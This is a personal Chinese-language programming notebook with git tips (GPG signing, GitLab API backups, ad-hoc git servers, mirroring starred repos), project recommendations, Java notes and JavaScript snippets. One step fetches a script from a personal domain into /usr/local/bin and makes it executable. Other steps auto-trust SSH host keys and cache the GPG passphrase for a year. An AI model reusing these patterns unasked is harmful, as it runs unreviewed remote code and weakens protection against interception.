    From: http://stackoverflow.com/questions/2765421/how-do-i-push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too

    执行了一些修改引入新功能,但还不能工作,决定建立一个dev分支:

    git checkout -b dev
    

    现在再执行git addgit commit后,需要把新的分支push给远程服务器:

    git push -u origin dev
    

    用gpg给git提交签名

    参考:https://help.github.com/articles/signing-commits-with-gpg/

    下述以ubuntu16.04(其实是bash on win10)讲解整个过程

    安装gpg2

    查看gpg版本:gpg --version发现版本是gpg (GnuPG) 1.4.20,而教程要求要2以上,所以先要安装gpg2,并告诉git我们要使用gpg2:

    apt install -y gpg2
    git config --global gpg.program gpg2
    

    创建一个新的key

    这里github给出的命令有问题,google发现参数改了

    gpg2 --full-gen-key
    

    回车选择RSA and RSA,然后输入密钥大小输入4096,然后回车永不过期,确认y,然后输入自己的名字和邮箱 注意这里邮箱要和git commit用到的邮箱一致

    导出key的公钥 在github设置中提交

    gpg2 --list-secret-keys --keyid-format LONG
    

    如下输出中,我们需要的是3AA5C34371567BD2这一串 就是sec那一行的4096R/后面的东西

    $ gpg2 --list-secret-keys --keyid-format LONG
    /Users/hubot/.gnupg/secring.gpg
    ------------------------------------
    sec   4096R/3AA5C34371567BD2 2016-03-10 [expires: 2017-03-10]
    uid                          Hubot 
    ssb   4096R/42B317FD4BA89E7A 2016-03-10
    

    然后得到公钥:

    gpg2 --armor --export 3AA5C34371567BD2
    

    复制屏幕上输出的一大串,打开下面的网页 粘贴提交

    https://github.com/settings/gpg/new

    配置git使用gpg签名

    告诉git默认使用这个key:

    git config --global user.signingkey 3AA5C34371567BD2
    git config --global commit.gpgsign true
    

    执行 建议将这一行写入~/.bashrc:

    export GPG_TTY=$(tty)
    

    然后就是正常的git add .,git commit -m “message”咯

    gpg-agent会在后台运行,默认10分钟内不需要再次输入密码

    修改gpg要求再次输入密码的时间限制

    10分钟的默认限制还是太短了,对于安全性要求不高的情景(比如自己的开源代码push到github),不妨设置为密码一直有效,直到gpg-agent重启

    下面的设置将限制改到1年,当然gpg-agent重启还是要再次输入密码的:

    vi ~/.gnupg/gpg-agent.conf
    
    default-cache-ttl 34560000
    max-cache-ttl 34560000
    

    使用GitLab API存储数据备份文件 不占用本地空间

    这里的需求是定时任务生成snapshot文件,打算传至免费存储作为备份,不想占用服务器硬盘去存储这个文件,也不想花钱买存储服务

    于是想到免费的gitlab.com的私有仓库,仓库数量无限,每个repo可以存10GB

    使用API来提交可以避免占用本地空间

    其实本来打算用github的,但是github今天(20181022)挂了,于是就gitlab吧

    找到这个python sdk: https://python-gitlab.readthedocs.io/

    写点代码咯:上传当前目录的to_upload.jpg到uploaded.jpg,记得相应修改你的访问令牌和项目ID

    TOKEN = '...' # personal access token, https://gitlab.com/profile/personal_access_tokens
    REPO_ID = 123456 # after create project, you can see project ID in your repo homepage
    message = 'test commit'
    target_filename = 'uploaded.jpg'
    src_filename = 'to_upload.jpg'
    
    import gitlab
    import base64
    gl=gitlab.Gitlab('https://gitlab.com',private_token=TOKEN)
    gl.auth()
    p=gl.projects.get(REPO_ID)
    filecontent = open(src_filename, 'rb').read()
    data={
        'branch_name':'master', 
        'branch':'master', 
        'commit_message':message,
        'actions':[{'action':'create','file_path':target_filename,
                    'content':base64.b64encode(filecontent).decode(),
                    'encoding': 'base64'}]
    }
    c=p.commits.create(data)
    print(c)
    

    在git服务器无法连接时点对点git pull

    情景:客户端A和B使用gitlab服务器S,然后某天S无法连上了,但A和B之间可以直接通讯。B上开发了新代码,想让A获取到这个更新,如何最方便简单地在A上同步B上的代码更新呢?

    解决方案:用python开个简单的http服务器然后添加http的remote进行pull,注意先要让git解压pack文件

    git update-server-info
    python3 -m http.server 6666
    git remote add tmp http://ip-b:6666/.git/
    git pull tmp master
    

    问题来了:如果A访问不了B怎么办呢?通过git format-patch HEAD~2..HEAD --stdout>patchfile生成patch文件再发过去git am patchfile,但这样可能会改变commit id


    git禁用压缩

    如二进制的仓库不想使用压缩,参考: https://stackoverflow.com/questions/11483288/how-to-disable-compression-in-git-server-side

    git config --add core.bigFileThreshold 1
    

    GitHub不同仓库使用不同ssh key: ghclone

    GitHub要求不同仓库的deploy key不同,但ssh config只能为一个Host设置相同的key

    这里发现了一个trick:*.github.com都是可以正常解析到github的,这样就得到了无数个Host

    快速使用:

    curl https://d.py3.io/ghclone > /usr/local/bin/ghclone
    chmod +x /usr/local/bin/ghclone
    ghclone user/repo
    

    会为这个repo创建一个ssh key放在~/.ssh目录下,同时修改~/.ssh/config,然后显示出公钥,需要手动添加到github,最后回车就会开始git clone

    Done.

    如果是一个已经存在的仓库,最后一步不用回车Ctrl+C后:

    git remote set-url origin git@{repo}.github.com:{user}/{repo}.git
    

    启动一个临时的Git服务器 本地之间同步

    场景: GitLab服务器宕机了,现在需要同步自己本地的修改到服务器上

    参考: https://datagrok.org/git/git-serve/

    # 自己机器上(有更多commit的)
    git config --global alias.quickserve "daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/"
    git quickserve
    
    # 服务器上(需要pull得到commit的)
    git remote add temp git://192.168.1.123/
    git pull temp master
    

    同步完成后就可以Ctrl+C关闭git服务了

    Note

    git末尾的/不可缺省,不然报错fatal: No path specified. See ‘man git-pull’ for valid url syntax git pull的分支名称master也不能省略


    备份GitHub上自己star过的仓库

    自从GitHub被微软收购后,似乎就崩得更频繁了,为了在这种情况下仍然能读代码,不妨跑一下定时脚本,自动pull指定仓库push到其他git服务上(如自行部署gitea)。

    获取自己star过的所有仓库:(依赖apt install -y jq

    for i in `seq 28`; do curl "https://api.github.com/users/zjuchenyuan/starred?page=${i}" >${i}.tmp; done
    cat *.tmp |jq '.[].full_name' -r > mystars.txt
    

    sync.sh:

    从github clone或fetch对应的仓库,然后push到自己的git服务上,这里使用bare避免checkout导致的更多空间占用

    TODO: 注意到仍然是双份的空间占用(同步和gitea都存了),需要看看能不能直接从gitea的git存储发起fetch更新

    #!/bin/bash
    u=`echo ${1}|cut -d/ -f1`
    n=`echo ${1}|cut -d/ -f2`
    if [ -z "$u" ] || [ -z "$n" ]; then
        echo Usage: $0 user/reponame
        exit 1
    fi
    if [ -d "${u}_${n}" ]; then
        cd "${u}_${n}"
        git fetch --all
        git push --all sync
    else
        git clone https://github.com/${u}/${n} "${u}_${n}" --bare
        cd "${u}_${n}"
        git fetch --all
        git remote add sync git@你的git服务地址:你的用户名/${u}_${n}.git
        git push --all sync
    fi
    cd ..
    

    git clone和push避免输入ssh询问的yes

    mkdir -p ~/.ssh
    ssh-keyscan 你的git服务地址 >> ~/.ssh/known_host
    

    Note

    这个方案并不安全,容易遭受中间人攻击,你应该事先在安全的网络下获取正确的ssh key后直接将指纹写入known_host。 不过就算不自动化你也会自己回答yes,本质上一样hhh

    部署gitea

    https://hub.docker.com/r/gitea/gitea

    按照官方给出的docker-compose部署即可,安装时需要留心:smtp的host需要包含端口,登录用户名是完整的邮箱

    然后需要修改配置,允许用户在push一个不存在的仓库时自动创建,参见这个issueconf配置文档

    需要在app.ini的[repository]一节中加入:

    ENABLE_PUSH_CREATE_USER = true
    ENABLE_PUSH_CREATE_ORG = true
    

    小心git bomb

    实际测试发现 对git bomb这种仓库 checkout就会占满全部内存 即使使用上述脚本只同步bare仓库,gitea会启动git show命令,仍然会炸内存(但似乎kill掉这个命令后网页显示也是正常的)


    Git查询特定commit时间

    https://stackoverflow.com/questions/3814926/git-commit-date

    获取时间戳:git show -s --format=%ct COMMIT_ID


    GitHub查询所有releases

    https://docs.github.com/en/rest/reference/repos#releases

    https://api.github.com/repos/octocat/hello-world/releases?per_page=100&page=1


    git diff显示修改后行号

    参考: https://stackoverflow.com/questions/8259851/using-git-diff-how-can-i-get-added-and-modified-lines-numbers

    diff-lines() {
        local path=
        local line=
        while read; do
            esc=$'\033'
            if [[ $REPLY =~ ---\ (a/)?.* ]]; then
                continue
            elif [[ $REPLY =~ \+\+\+\ (b/)?([^[:blank:]$esc]+).* ]]; then
                path=${BASH_REMATCH[2]}
            elif [[ $REPLY =~ @@\ -[0-9]+(,[0-9]+)?\ \+([0-9]+)(,[0-9]+)?\ @@.* ]]; then
                line=${BASH_REMATCH[2]}
            elif [[ $REPLY =~ ^($esc\[[0-9;]+m)*([\ +-]) ]]; then
                echo "$path:$line:$REPLY"
                if [[ ${BASH_REMATCH[2]} != - ]]; then
                    ((line++))
                fi
            fi
        done
    }
    

    用法:git diff commit^ commit -U0|diff-lines


    git导出tag与commit关系

    有些时候需要将commit翻译成对应的tag,可以先这样导出再查询:

    git tag|while read i; do echo ${i} `git log -1 --format='%H' ${i}`; done > tags.txt
    

    虽然git tag也有--format参数,但没找到可以显示tag对应commit的方法,那就还是老老实实git log呗

    ================================================ FILE: docs/GithubProjectRecommendation/index.html ================================================ Github Project Recommendation - notebook

    Github Project Recommendation

    you-get

    https://github.com/soimort/you-get

    pip安装后直接下载b站超清视频

    本想自己用PhantomJS写bilibili的下载的,没想到人家拿到了签名的私钥,直接免浏览器实现了666


    Anki

    https://github.com/dae/anki

    Anki是一个辅助记忆软件,它可以在相对合适的时间来告诉你复习什么比较好。

    Learn More:

    https://zhuanlan.zhihu.com/p/21338255?refer=-anki

    https://zhuanlan.zhihu.com/-anki


    OnlineJudge

    https://github.com/QingdaoU/OnlineJudge

    青岛大学的OnlineJudge,人家的毕业设计呢,界面好看,基于Docker,C和Java的沙箱设计挺完善的

    https://github.com/QingdaoU/OnlineJudge/wiki/%E6%AD%A3%E5%BC%8F%E9%83%A8%E7%BD%B2%E6%96%87%E6%A1%A3

    这是安装文档,需要安装Docker和docker-compose,注意其中python tools/release_static.py这一步是必须执行的

    安装后的默认版本是不支持Python作为提交语言的,需要进行如下操作:

    # 首先关掉容器
    docker-compose stop
    # 在master分支把那个分支merge过来
    git merge origin/python-support
    python tools/release_static.py
    # 然后启动容器,注意要-d否则会占据前台
    docker-compose up -d
    

    sympy

    https://github.com/sympy/sympy

    http://docs.sympy.org/latest/tutorial/solvers.html

    Python也能用来解方程!求极限!求积分!


    shellcheck

    检查自己写的shell脚本有没有问题

    https://github.com/koalaman/shellcheck

    https://www.shellcheck.net/


    InstantClick

    https://github.com/dieulot/instantclick

    在鼠标悬停时即刻开始加载网页,显著提高网页加载速度,非常适合静态blog类型网页使用


    explainshell

    https://github.com/idank/explainshell

    查询shell命令各个参数的含义


    Python Learn Notes

    https://github.com/AnyISalIn/Python_Learn_Notes

    一些不错的Python笔记


    websocketd

    https://github.com/joewalnes/websocketd/

    把linux程序的输出输出重定向到websocket,就可以实现网页上实时显示程序执行动态,官网:http://websocketd.com/

    ================================================ FILE: docs/Java/index.html ================================================ Java - notebook

    Java

    Java的神奇(keng)

    记录一下Java与C的不同点,感受Thinking in Java

    变量名称

    $就是个普通字符,可以int $a; //php表示mdzz

    main函数

    必须是public static void main(String[] args)

    如果没有static,编译能通过但没有执行结果?// 待考证,eclipse拒绝运行

    if

    if中的东西必须是boolean类型的值,不能把int放入if中

    if ( a = true )的坑还是存在的,允许赋值作为if条件

    %取余的结果

    要考虑到负数的结果啊~(和C一致)

    数组声明引用、初始化之后才能用

    不允许int a[5]; 只能int[] a = new int [5];

    如果要初始化 int[] b = new int[]{1,2}; 可以简化为 int c[] = {1,2};

    但不能出现d={1,2}; 不允许大括号这玩意用来赋值,只准用于初始化

    switch

    boolean是不行的;String是可以的!

    case是不能重复的(和C一致)

    ==

    一定是比较地址,如果”haha”在代码中出现两次,他们的地址是一样的

    类型自动提升

    int long float double

    最高出现哪个全部提升为哪个,都没有就全部提升为int

    所以要这么写才能把byte2:byte b = (byte)(a2);

    内部类

    加上static后:可以不用实例化外部类就创建对象,不能访问外部类非静态的数据

    不加static:需要先实例化外部类new OuterClass().new InnerClass()

    数组的new不创建对象

    对象数组的new是不会创建对象的

    例如 A[] a=new A[5]; 并不会创建5个A类型的对象,只是5个空引用

    异常处理中的资源释放问题

    From: http://stackoverflow.com/questions/8080649/do-i-have-to-close-fileoutputstream-which-is-wrapped-by-printstream

    在Java7中引入了ARM(自动资源管理),并不需要手动释放资源

    以下这种把变量声明放到try后的括号里面,不对资源手动释放的写法是可以的,没有任何错误

    public static void main(String args[]) throws IOException { 
        try (PrintStream ps = new PrintStream(new FileOutputStream("myfile.txt"))) {
            ps.println("This data is written to a file:");
            System.out.println("Write successfully");
        } catch (IOException e) {
            System.err.println("Error in writing to file");
            throw e;
        }
    }
    

    普通的try-catch是不够的,需要在finally中释放资源:

    public static void main(String args[]) throws IOException { 
        PrintStream ps = null;
    
        try {
            ps = new PrintStream(new FileOutputStream("myfile.txt"));
            ps.println("This data is written to a file:");
            System.out.println("Write successfully");
        } catch (IOException e) {
            System.err.println("Error in writing to file");
            throw e;
        } finally {
            if (ps != null) ps.close();
        }
    }
    

    JVM启动时的内存参数

    From: http://blog.chinaunix.net/uid-26863299-id-3559878.html

    常见参数种类:配置堆区的(-Xms 、-Xmx、-XX:newSize、-XX:MaxnewSize、-Xmn)、配置非堆区(-XX:PermSize、-XX:MaxPermSize)。

    堆区的:

    1、-Xms :表示java虚拟机堆区内存初始内存分配的大小

    2、-Xmx: 表示java虚拟机堆区内存可被分配的最大上限,通常会将 -Xms 与 -Xmx两个参数的配置相同的值,其目的是为了能够在java垃圾回收机制清理完堆区后不需要重新分隔计算堆区的大小而浪费资源。

    3、-XX:newSize:表示新生代初始内存的大小,应该小于 -Xms的值;

    4、-XX:MaxnewSize:表示新生代可被分配的内存的最大上限;当然这个值应该小于 -Xmx的值;

    5、-Xmn:对 -XX:newSize、-XX:MaxnewSize两个参数的同时配置

    非堆区的:

    1、-XX:PermSize:表示非堆区初始内存分配大小,名字来源于permanent size

    2、-XX:MaxPermSize:表示对非堆区分配的内存的最大上限。

    最大堆内存与最大非堆内存的和不能够超出操作系统的可用内存。

    ================================================ FILE: docs/JavaScript/index.html ================================================ JavaScript - notebook

    JavaScript

    使用localStorage

    Cookie存数据影响访问速度(每次请求都需要带上Cookie),使用localStorage存储有更大容量,还不易丢失

    建议将用户的大段输入随时存储到localStorage中

    高级应用可以是把js等代码文件这样缓存到本地,安全性讨论见https://imququ.com/post/enhance-security-for-ls-code.html

    //写入
    var storage=window.localStorage;
    storage["a"]=1;
    //清空
    window.localStorage.clear();
    

    使用phantomjs爬取网页

    有些时候我们用Python的requests并不能很完美地渲染好网页,例如人家用酷炫的js作图了,我就想得到这张图,这时候用phantomjs就好啦

    爬取目标:

    http://oncokb.org/#/gene/AKT1

    这个网页的右边有一张Tumor Types with AKT1 Mutations的图

    代码:

    code/spider.oncokb.js

    代码的细节:

    1. 打开页面之前为了截图方便需要先设置浏览器的大小,这里设置为了1920*1080

    2. 不要一打开页面就截图,而是等到页面加载好了最后一个请求(从Chrome开发人员工具查看最后的请求是啥)后,再等待5s后执行截图、导出HTML并退出

    3. 为了防止无限等待,设置最长2min后timeout退出

    4. 为了方便批量化处理,从命令行参数读取需要爬取的基因名称

    5. 在运行的时候有设置代理和不要载入图片的参数,具体见官方文档


    jQuery劫持show事件

    我的需求:用户登录的div需要点击Login后显示(toggle),此时浏览器已经自动帮用户填上了用户名和密码,用户需要手动点击登录按钮才会触发登录请求;现在我想加入快速登录功能,在显示登录div后自动提交登录请求,如果为空或密码错误再交给用户输入

    我的解决方案:加入下述扩展jQuery的代码后,对#login绑定beforeShow事件,处理函数先根据全局变量是否存在来判断是否执行过(防止死循环),如果没有执行过则执行登录函数clicklogin并设置全局变量

    效果:如果浏览器自动填入了正确的用户名密码,则用户点击Login后快速闪过登录输入框即完成登录;如果浏览器没有自动填入用户名密码,clicklogin函数直接return,用户没有感知;如果浏览器填入的密码是错的,用户会看到密码错误提示,1s后再次toggle登录的div要求用户输入

    From: http://stackoverflow.com/questions/1225102/jquery-event-to-trigger-action-when-a-div-is-made-visible

    引入jQuery后,修改jQuery自身的show函数以扩展bind:

    jQuery(function($) {
    
      var _oldShow = $.fn.show;
    
      $.fn.show = function(speed, oldCallback) {
        return $(this).each(function() {
          var obj  = $(this),
              newCallback = function() {
                if ($.isFunction(oldCallback)) {
                  oldCallback.apply(obj);
                }
                obj.trigger('afterShow');
              };
    
          // you can trigger a before show if you want
          obj.trigger('beforeShow');
    
          // now use the old function to show the element passing the new callback
          _oldShow.apply(obj, [speed, newCallback]);
        });
      }
    });
    

    然后就可以使用bind注册beforeShowafterShow咯:

    jQuery(function($) {
      $('#test')
        .bind('beforeShow', function() {
          alert('beforeShow');
        }) 
        .bind('afterShow', function() {
          alert('afterShow');
        })
        .show(1000, function() {
          alert('in show callback');
        })
        .show();
    });
    

    读取GET参数

    有些时候对GET参数的处理交给了前端,后端的PHP可以$_GET[“parameter”],前端JS咋办呢?

    From: http://stackoverflow.com/questions/979975/how-to-get-the-value-from-the-get-parameters

    var QueryString = function () {
      // This function is anonymous, is executed immediately and 
      // the return value is assigned to QueryString!
      var query_string = {};
      var query = window.location.search.substring(1);
      var vars = query.split("&");
      for (var i=0;i<vars.length;i++) {
        var pair = vars[i].split("=");
            // If first entry with this name
        if (typeof query_string[pair[0]] === "undefined") {
          query_string[pair[0]] = decodeURIComponent(pair[1]);
            // If second entry with this name
        } else if (typeof query_string[pair[0]] === "string") {
          var arr = [ query_string[pair[0]],decodeURIComponent(pair[1]) ];
          query_string[pair[0]] = arr;
            // If third or later entry with this name
        } else {
          query_string[pair[0]].push(decodeURIComponent(pair[1]));
        }
      } 
      return query_string;
    }();
    

    执行后就可以这么使用:

    if (typeof(QueryString.parameter)!="undefined") {
        alert(QueryString.parameter);//do something with the parameter
    }
    

    使用 Github Issue 作为博客评论区

    人家大佬的项目:http://github.com/wzpan/comment.js中文文档

    如果觉得cloudflare加载速度不佳,可以把所有js打包成一个文件

    效果如本博客页面底部评论区所示,为了偷懒就没有为每个md文件单独开issue了,整个blog共用一个issue


    history.replaceState修改历史记录

    如v2ex按照是否:visited来区分点开过和没点开过的帖子,其实现是url带上#reply回复数量

    但如果帖子页面有多种进入方式(自动跳转到页尾、发起了回复等),那么url并不一定与需要的一致

    我们可以使用history API来修改历史记录,从而保证带上#reply回复数量的url一定被认为访问过;而且自动改回去用户无感知(否则刷新后会打开不一样的页面)

    代码如下:

    <script>
    setTimeout( function(){
        var oldurl = location.href;
        history.replaceState(null, null, '/t/{{topic["id"]}}#reply{{topic["replyCount"]}}');
        history.replaceState(null, null, oldurl);
    }, 1000);
    </script>
    

    记住一个checkbox的状态(用localStorage)

    查询是否勾选用.is(":checked") , 改变勾选状态用.prop("checked",true)

    <script>
    function checkbox_onclick(){
        var checked = $("#thecheckbox").is(":checked");
        if(checked) localStorage.setItem("status_thecheckbox","1");
        else localStorage.setItem("status_thecheckbox","0");
    }
    </script>
    <input type="checkbox" id="thecheckbox" onclick='checkbox_onclick();'>
    <script>
        var status_thecheckbox = localStorage.getItem("status_thecheckbox");
        if(status_thecheckbox!=null && status_thecheckbox=="1") $("#thecheckbox").prop("checked",true);
    </script>
    

    NodeJS

    用Docker执行npm

    例如安装canvas和gifencoder包:

    PACKAGES="canvas gifencoder"
    docker run --rm --volume="`pwd`:/app" -w /app -it node:10 npm install ${PACKAGES}  --registry=https://registry.npm.taobao.org
    

    使用InstantClick踩坑

    快速使用

    http://instantclick.io/v3.1.0/instantclick.min.js

    一定要在页面底部 </body>之前才能引入:

    <script src="instantclick.min.js" data-no-instant></script>
    <script data-no-instant>InstantClick.init('mousedown');</script>
    

    被预加载的页面不能让后端返回302

    否则会显示跳转之前的URL

    这种情况下可以对这个链接禁止预加载(不过更应该考虑这种链接改为post请求) 在a标签加上data-no-instant

    注意默认配置下后端将被频繁请求 频率限制需要放宽

    官网给出的代码使用InstantClick.init(),意味着鼠标移动上去就会触发加载(不是只触发一次),鼠标反复移动会导致大量的请求

    如果后端做了请求频率限制 需要放宽限制

    还是改为用mousedown来初始化 只有用户确实点击了才开始加载 据说也能有很好的效果

    InstantClick引入一些副作用 对页面js要进行修改

    js无法取得正确的referrer

    页面加载的请求是js执行的 document.referrer不会被设置为上一页

    document.addEventListener 重复触发

    例如绑定paste事件 你可能这么写:

    document.addEventListener('paste', handlepaste);
    

    在切换页面后 这个事件会多次绑定 导致多次触发

    我的做法是先判断一个变量是否存在 不存在才设置:

    if(typeof paste_registered == "undefined"){
        document.addEventListener('paste', handlepaste);
        paste_registered = true;
    }
    

    你也可以把这一部分不能重复执行的代码放入<script data-no-instant>中,但如果前一页没有这一块代码(也就是这个代码是当前页面才有的,需要执行一次),进入当前页面是不会触发

    返回上一页重复执行页面添加元素的js 导致元素重复出现

    现在的方法是对js动态添加的元素加个class 然后用jQuery的remove方法先通通删掉再添加

    页面ready事件不会触发

    需要加入InstantClick.on('change', callback); 加到Init后即可

    但是似乎这个事件触发在页面图片加载完成之前Orz 不够完美

    超链接的#hash定位功能也需要自己实现

    预加载的页面总是定位到顶部,忽视地址栏中的#end这种定位hash

    我的做法是这样写上述onchange的callback函数implement_hashjump

    function has_hashjump(){ // if there is a #hash present for jumpping, return true
        var hash = document.location.hash.replace("#","");
        if(!hash) return false;
        if(document.getElementById(hash) || document.getElementsByName(hash).length>0) return true;
        else return false;
    }
    
    function implement_hashjump() {
        if ( has_hashjump() ) {
            var hash = document.location.hash.replace("#","");
            if(document.getElementById(hash)) {
                document.documentElement.scrollTop = $("#"+hash).offset().top;
            }
            else{
                document.documentElement.scrollTop = $("[name='"+hash+"']").offset().top;
            }
        }
    }
    

    用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript

    https://www.sitepoint.com/dom-manipulation-vanilla-javascript-no-jquery/

    选择元素

    const myElement = document.querySelector('#foo > div.bar')
    myElement.matches('div.bar') === true
    

    注意querySelector是立即执行 而getElementsByTagName是取值的时候执行效率更高

    对元素列表遍历应该这么写:

    [].forEach.call(myElements, doSomethingWithEachElement)
    

    myElement.children,myElement.firstElementChild 只会有tag,而myElement.childNodes,myElement.firstChild会有文本节点

    如:myElement.firstChild.nodeType === 3 // this would be a text node

    修改class和属性

    myElement.classList.add('foo')
    myElement.classList.remove('bar')
    myElement.classList.toggle('baz')
    
    // Set multiple properties using Object.assign()
    Object.assign(myElement, {
      value: 'foo',
      id: 'bar'
    })
    
    // Remove an attribute
    myElement.value = null
    

    除了直接赋值,还有这些方法.getAttibute(), .setAttribute() and .removeAttribute() 但他们会直接修改HTML 导致重绘 只有没有对应属性的时候如colspan才应该这么干

    修改CSS

    myElement.style.marginLeft = '2em'
    
    //获得计算出来的CSS属性
    getComputedStyle(myElement).getPropertyValue('margin-left')
    

    修改DOM

    const myNewElement = document.createElement('div')
    const myNewTextNode = document.createTextNode('some text')
    
    // Append element1 as the last child of element2
    element1.appendChild(element2)
    
    // Insert element2 as child of element 1, right before element3
    element1.insertBefore(element2, element3)
    
    // Create a clone
    const myElementClone = myElement.cloneNode()
    myParentElement.appendChild(myElementClone)
    
    // 删除一个节点
    myElement.parentNode.removeChild(myElement)
    

    当需要把多个元素appendChild到一个已经在页面上的元素时,每次append都会重绘 这时候就应该用DocumentFragment

    const fragment = document.createDocumentFragment()
    
    fragment.appendChild(text)
    fragment.appendChild(hr)
    myElement.appendChild(fragment)
    

    监听事件

    事件event里面有target指向谁触发的事件

    const myForm = document.forms[0]
    const myInputElements = myForm.querySelectorAll('input')
    
    Array.from(myInputElements).forEach(el => {
      el.addEventListener('change', function (event) {
        console.log(event.target.value)
      })
    })
    

    阻止默认行为

    .preventDefault()

    .stopPropagation() 子节点click不会再冒泡触发父节点onclick

    Event delegation

    对表单每个input修改时执行,直接对form添加change的事件 不需要对每个input添加,这样也自动支持动态新添加的input

    myForm.addEventListener('change', function (event) {
      const target = event.target
      if (target.matches('input')) {
        console.log(target.value)
      }
    })
    

    动画

    需要高性能时 不要用setTimeout 而使用requestAnimationFrame

    const start = window.performance.now()
    const duration = 2000
    
    window.requestAnimationFrame(function fadeIn (now)) {
      const progress = now - start
      myElement.style.opacity = progress / duration
    
      if (progress < duration) {
        window.requestAnimationFrame(fadeIn)
      }
    }
    

    劫持动态图片加载 修改src属性

    React网站应用底层用的是createElement方法(svg等对象用createElementNS),可以通过劫持document所属类原型的createElement方法来实现图片路径重定向

    但是没有考虑使用innerHTML直接赋值的操作,如果目标站点确实用了这种技术,大不了再加个定时器遍历即可

    var dc = HTMLDocument.prototype.createElement;
    HTMLDocument.prototype.createElement = function (tag, options) {
      var r = dc.call(document, tag, options);
      if(tag=="img"||tag=='a') {
          var x=r.setAttribute;
          r.setAttribute=function(a,b){
              if(a=="src"||a=="href"){
                  if(b[0]=="/") b=b.replace("/", window.ROOT);
                  else{
                      b = b.replace("http://","/web/0/http/0/");
                      b = b.replace("https://","/web/0/https/0/");
                  }
              }
              return x.call(r,a,b);
          }
      }
      return r;
    }
    

    上述代码会将/开头的src和href属性的第一个/替换为window.ROOT

    劫持Ajax和fetch

    需要将fetch使用xhr实现,然后Hook Ajax即可

    参见完整的RVPN劫持代码 jshook_preload.js

    背景知识参见:RVPN网页版介绍 https://www.cc98.org/topic/4816921/


    多个Ajax请求等待全部完成

    方法就是把jQuery的ajax函数返回值放到数组里面,然后用$.when.apply(null, 数组).done即可

    实例:CC98发米机

    function apiget(url, callback){
        return $.get("/98api_cache/"+url, null, callback, "json");
    }
    
    var async_request=[check_permission(topic.boardId)];
    var i;
    for(i=from_; i>=from_-80;i-=20){
        if(i<0) break;
        async_request.push(apiget("Topic/"+topicid+"/post?from="+i+"&size=20", function(data){
            lastfloors.push.apply(lastfloors,data);
        }))
    }
    
    $.when.apply(null, async_request).done( function(){ alert("all done")} )
    

    等待图片加载完成后 缩小过大的图片

    首先等待DOM节点就绪,找到所有的img,等待图片加载完成后判断图片高度是否大于窗口高度的80%,如果太长就设置max-width:80vh,可点击展开,再次点击则折叠并跳至图片开始的地方

    !function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){var b="waitForImages",c=function(a){return a.srcset&&a.sizes}(new Image);a.waitForImages={hasImageProperties:["backgroundImage","listStyleImage","borderImage","borderCornerImage","cursor"],hasImageAttributes:["srcset"]},a.expr.pseudos["has-src"]=function(b){return a(b).is('img[src][src!=""]')},a.expr.pseudos.uncached=function(b){return!!a(b).is(":has-src")&&!b.complete},a.fn.waitForImages=function(){var d,e,f,g=0,h=0,i=a.Deferred(),j=this,k=[],l=a.waitForImages.hasImageProperties||[],m=a.waitForImages.hasImageAttributes||[],n=/url\(\s*(['"]?)(.*?)\1\s*\)/g;if(a.isPlainObject(arguments[0])?(f=arguments[0].waitForAll,e=arguments[0].each,d=arguments[0].finished):1===arguments.length&&"boolean"===a.type(arguments[0])?f=arguments[0]:(d=arguments[0],e=arguments[1],f=arguments[2]),d=d||a.noop,e=e||a.noop,f=!!f,!a.isFunction(d)||!a.isFunction(e))throw new TypeError("An invalid callback was supplied.");return this.each(function(){var b=a(this);f?b.find("*").addBack().each(function(){var b=a(this);b.is("img:has-src")&&!b.is("[srcset]")&&k.push({src:b.attr("src"),element:b[0]}),a.each(l,function(a,c){var d,e=b.css(c);if(!e)return!0;for(;d=n.exec(e);)k.push({src:d[2],element:b[0]})}),a.each(m,function(a,c){var d=b.attr(c);return!d||void k.push({src:b.attr("src"),srcset:b.attr("srcset"),element:b[0]})})}):b.find("img:has-src").each(function(){k.push({src:this.src,element:this})})}),g=k.length,h=0,0===g&&(d.call(j),i.resolveWith(j)),a.each(k,function(f,k){var l=new Image,m="load."+b+" error."+b;a(l).one(m,function b(c){var f=[h,g,"load"==c.type];if(h++,e.apply(k.element,f),i.notifyWith(k.element,f),a(this).off(m,b),h==g)return d.call(j[0]),i.resolveWith(j[0]),!1}),c&&k.srcset&&(l.srcset=k.srcset,l.sizes=k.sizes),l.src=k.src}),i.promise()}});
    
    $(function(){$("img").waitForImages(function(){ 
        ( $("img").filter(function(){return $(this).height()>document.documentElement.clientHeight * 0.8}) )
        .css("max-height","80vh")
        .css("cursor","pointer")
        .on("click", function(){
            if($(this).css("max-height")!="100%"){
                $(this).css("max-height","100%"); 
            }else {
                $(this).css("max-height","80vh");
                $("html,body").animate({scrollTop:$(this).position().top},"fast") 
            }
        });  
    })});
    

    CSS inline模糊预览图片

    参考: https://css-tricks.com/the-blur-up-technique-for-loading-background-images/

    使用一张很大的图片作为背景的时候,可能需要一张inline到css中的模糊背景图,完整方案参见上述链接

    这里介绍从一张图片怎么变成模糊预览的inline CSS:

    1. 首先把图片变成40x22大小,这个直接用Windows自带的画图工具即可完成
    2. 然后丢给tinyjpg.com再压缩一下
    3. base64 -w0 < x.jpg获取图片的base64文本
    4. 放入下述svg中,再交给这个svg encoder: https://codepen.io/yoksel/details/JDqvs/
    <svg xmlns="http://www.w3.org/2000/svg"
         xmlns:xlink="http://www.w3.org/1999/xlink"
         width="1500" height="823"
         viewBox="0 0 1500 823">
      <filter id="blur" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
        <feGaussianBlur stdDeviation="20 20" edgeMode="duplicate" />
        <feComponentTransfer>
          <feFuncA type="discrete" tableValues="1 1" />
        </feComponentTransfer>
      </filter>
      <image filter="url(#blur)"
             xlink:href="data:image/jpeg;base64,/9j/4AAQSkZJ ...[truncated]..."
             x="0" y="0"
             height="100%" width="100%"/>
    </svg>
    

    注意encoder输出的内容还要加上charset,最终效果:

    background-image: url(data:image/svg+xml;charset=utf-8,%3Csvg...);
    

    a链接改用POST请求 jQuery

    参考OneIndex,用POST方法表示来自文件列表的点击可以显示网页,默认的GET请求则下载文件

        $('.file a').each(function(){
            $(this).on('click', function () {
                var form = $('<form target=_blank method=post></form>').attr('action', $(this).attr('href')).get(0);
                $(document.body).append(form);
                form.submit();
                $(form).remove();
                return false;
            });
        });
    

    创建一个文件下载 Blob

    参考OneIndex的downall方法

